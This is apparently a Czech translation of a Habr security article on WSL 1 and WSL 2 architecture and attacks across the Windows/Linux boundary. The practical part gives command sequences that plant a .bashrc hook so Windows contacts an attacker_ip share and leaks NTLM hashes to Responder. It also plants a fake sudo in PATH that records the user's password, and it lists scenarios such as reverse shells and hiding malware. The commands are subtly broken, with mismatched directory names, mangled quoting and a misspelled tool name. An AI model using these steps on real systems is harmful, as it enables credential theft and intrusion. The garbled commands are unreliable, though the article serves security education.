Ahoj, Habr! V říjnu OTUS spouští nový běh kurzu . Před zahájením kurzu s vámi sdílíme článek, který napsal jeden z našich lektorů — Alexander Kolesnikov.

V roce 2016 společnost Microsoft představila IT komunitě novou technologii WSL (WWindows SSubsystem for LLinux), která měla v budoucnu usnadnit spojení dřívějších nesmiřitelných rivalů, které usilovaly o popularitu jak mezi běžnými, tak pokročilými uživateli OS: Windows a Linux. Tato technologie umožnila používat nástroje systému Linux v prostředí Windows bez nutnosti spouštění Linuxu, například pomocí multibootování. Na Habr můžete nalézt množství článků popisujících výhody používání WSL. Bohužel však v době vzniku tohoto článku na tomto zdroji nebyly nalezeny žádné studie o bezpečnosti této symbiózy operačních systémů. Tento příspěvek se pokusí tento nedostatek napravit. V článku budou uvedeny aspekty architektur WSL 1 a 2 a podrobeny analýze různé příklady útoků na systémy využívající tyto technologie. Článek je rozdělen na 2 části. V první části budou představeny základní teoretické metody útoků ze strany Linuxu a Windows. Druhá část bude obsahovat nastavení testovacího prostředí a reprodukci útoků.
WSL 1: rysy architektury
Pro co nejpřesnější prozkoumání bezpečnostních problémů WSL je nutné stanovit hlavní nuance spojené s implementací subsystému. Jedním z hlavních uživatelských úkolů, které WSL řeší, je umožnění práce prostřednictvím terminálu Linux na hostiteli s OS Windows. Také navržená kompatibilita byla natolik nativní, že spustitelné soubory Linuxu (ELF) mohly být prováděny přímo v systému Windows. Pro dosažení těchto cílů byla ve Windows 10 vytvořena speciální subsystém umožňující spouštění aplikací Linux pomocí sady specifických systémových volání — tímto způsobem byla podniknuta snaha o mapování sady syscallů Linuxu na Windows. Fyzicky to bylo realizováno přidáním nových ovladačů a nového formátu procesu. Vizuálně architektura vypadala takto:

V podstatě bylo interakce s operačním systémem Linux organizováno prostřednictvím několika jádrových modulů a zvláštního typu procesů — pico. Z výše uvedeného schématu je jasné, že proces spuštěný v instanci Linux na hostiteli musí být nativní a musí využívat stejné zdroje jako běžné aplikace Windows. Jak toho dosáhnout? V projektu byly vyvinuty koncepty procesů pro Windows, které poskytovaly všechny potřebné komponenty operačního systému (v závislosti na její verzi) pro spuštění aplikace jiného OS.
Všimněme si, že navržená abstrakce umožnila neorientovat se na operační systém (zejména — Windows), ve kterém se očekává spuštění procesu jiného OS, a nabízela obecný přístup.
Tím pádem mohlo libovolné aplikace uvnitř pico procesu fungovat bez ohledu na jádro Windows:
- Problémy s kompatibilitou a translací systémových volání by měly řešit speciální poskytovatelé;
- Omezení přístupu by mělo probíhat prostřednictvím Bezpečnostního monitoru. Monitor se nachází v jádru, a proto byl Windows zapotřebí upgrade v podobě nového ovladače, který by mohl sloužit jako poskytovatel pro takové procesy. Prototyp pico procesu je schematicky zobrazen níže:

Jelikož souborový systém Linux používá názvy souborů a adresářů citlivé na velikost písmen, byly ve Windows přidány 2 typy souborových systémů pro práci s WSL — VolFS a DriveFS. VolFS je implementace souborového systému Linux, DriveFS je souborový systém, který funguje podle pravidel Windows, ale má možnost volby citlivosti na velikost písmen v názvech.
WSL 2
WSL 1 měla řadu omezení, která neumožňovala použití pro maximální spektrum úkolů: například chyběla možnost spouštět 32bitové Linuxové aplikace, nebylo možné používat ovladače zařízení. Proto byla v roce 2020 vydána WSL 2, která změnila přístup k vytváření subsystému. WSL 2 je optimalizovaná virtuální stroj, která odpovídá charakteristikám WSL 1 z hlediska spotřeby zdrojů. Nyní si uživatel systému Windows může v závislosti na řešených problémem vybrat potřebnou verzi subsystému pro práci s Linuxem. Pro mitigaci možných zranitelností byla WSL 2 implementována na základě Hyper-V ve Windows 10. V této podobě má Windows možnost izolovaně spouštět jádro operačního systému Linux. Je třeba mít na paměti, že verze 1 WSL byla představena jako beta funkce, která měla ukázat směr vývoje Windows v této oblasti, a proto byla přechod na Hyper-V nevyhnutelný. Konečná architektura vypadá takto:

V této verzi mají jádra systémů Windows a Linux vlastní zdroje a překryv existuje pouze v souborovém systému, přičemž tento překryv nelze nazvat úplným. Interakce mezi souborovými systémy probíhá prostřednictvím klient-serverového obalu, který pracuje na protokolu 9P.
V současné době Microsoft poskytuje možnost přepínání mezi WSL 1 a WSL 2. Obě verze jsou dostupné k použití.
Bezpečnost WSL
V současnosti existuje několik prací, které popisují některé přístupy k využívání legitimních nástrojů OS pro útoky na interakci mezi subsystémy. Budeme používat jejich scénáře k ověření aktuálnosti útoků v době psaní článku. Obecný seznam útoků a scénáře provádění:
1. Implementace souborového systému: práva přístupu, existující sdílené adresáře/mekanismy výměny dat.
Studie byly provedeny s ohledem na porušení pravidel přístupu z Linux FS->Windows FS, Windows FS->Linux FS. Studie ukázaly možnost modifikace zadaného souboru uvnitř cílového OS. Také byly provedeny pokusy o podvržení, vytvoření dvojníků a odstranění části souborových systémů.
Scénář:
- A. Útok z operačního systému Windows — modifikace souborů z adresáře /etc OS Linux.
- B. Útok z operačního systému Linux — modifikace souborů v adresářích:
C:Windows,C:Program Files,C:Users
2. Implementace síťového zásobníku.
Studie byly prováděny na příkladech útoků ze strany operačního systému Linux na Windows. Využily se vlastnosti síťového zásobníku, konkrétně mechanismy autentizace na různých zdrojích.
Scénář:
- Otevření přístupu k portu, který je obsazen v systému Windows.
- Otevření portu bez odpovídajících oprávnění.
- Spuštění reverse shellu s využitím ELF souboru v operačním systému Windows.
3. Skrývání spuštění procesů škodlivého softwaru pomocí subsystému WSL.
Studie vycházely z jednoduchého faktu - subsystémy ochrany nemohou zachytit události v jiném jádře, které pracuje s legálním poskytovatelem ze strany operačního systému v případě WSL 1. V případě WSL 2 není možné sledovat události, které se odehrávají v samostatném jádře v rámci lehké virtuální mašiny.
Scénář:
1) Spuštění aplikace pro vzdálený přístup do systému a sledování registrovaných událostí.
WSL 1 experimenty: zachycení hash (OS Windows)
Konečně jsme se dostali k praktické části. Nejprve je třeba nastavit prostředí pro testy. Všechny experimenty budou prováděny na stanici se systémem Windows 10 2004. Jako obraz operačního systému pro WSL byl vybrán obraz Ubuntu 18.04. Obraz byl vybrán náhodně, a jakýkoli jiný bude fungovat stejně. Příkazy pro nastavení stanice:
Nejprve je třeba spustit powershell.exe s oprávněními administrátora.
Pro WSL 1 je třeba provést následující příkazy:
- Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Povolit funkci WSL
- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing #Stáhnout linuxový obraz z obchodu Microsoft
Po restartování stanice můžete zavolat příkaz bash. Pokud vše proběhlo správně, měli byste vidět přibližně tento výstup v konzoli Windows:

Jako útočná mašina použijeme distribuci Kali Linux, všechny stroje by měly být v jedné lokální síti.
Předpokládejme, že máme nepř privilegední přístup k WSL na stroji Windows. Pokusíme se o útok na operační systém Linux spuštěním příkazu z Linuxu. K provedení útoku využijeme jednoduchou techniku automatického spuštění — přidáme náš skript k provedení v prostředí Linux. K tomu je potřeba upravit soubor .bashrc.
Na stroji s WSL provedeme:
1. bash
2. Přecházíme do domovského adresáře uživatele: cd /home/sam/
2. echo " /home/sam/.attack.sh" >> .bashrc
3. echo "icalcs.exe " \\\\attacker_ip\\shareName\\" > /dev/null 2>&1" >> .attack.sh
4. chmod u+x .attack.sh
5. exitNa stroji Kali Linux provedeme:
1. Responder -I eth0 -rdvwNa stroji Windows spustíme bash.
Čekáme na výsledek na stroji Kali Linux:

Tímto způsobem jsme získali hashe uživatele Windows prostřednictvím subsystému WSL spuštěním příkazu na systému Linux.
WSL 1 experimenty: získání hesla uživatele (OS Linux)
Provedeme další experiment. V rámci této kontroly doplníme soubor .bashrc několika příkazy, abychom získali heslo uživatele operačního systému Linux.
Spustíme bash a zadáme příkazy:
1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] heslo pro $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Je nám líto, zkuste to znovu."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt" >> .mysudo/sudo
8. echo " /usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit Pro úspěšné dokončení útoku je nutné, aby uživatel Sam vyvolal sudo v terminálu Linux. Poté se heslo uživatele OS Linux nachází v souboru pass.txt:

Realizace útoků byla uvedena pouze pro teoretické seznámení.
V další části článku bude popsána realizace protokolu 9P, bude se zkoumat vytvoření skeneru pro tento protokol a také bude proveden útok pomocí tohoto protokolu.
Seznam použité literatury
Číst dál
Zdroj: habr.com
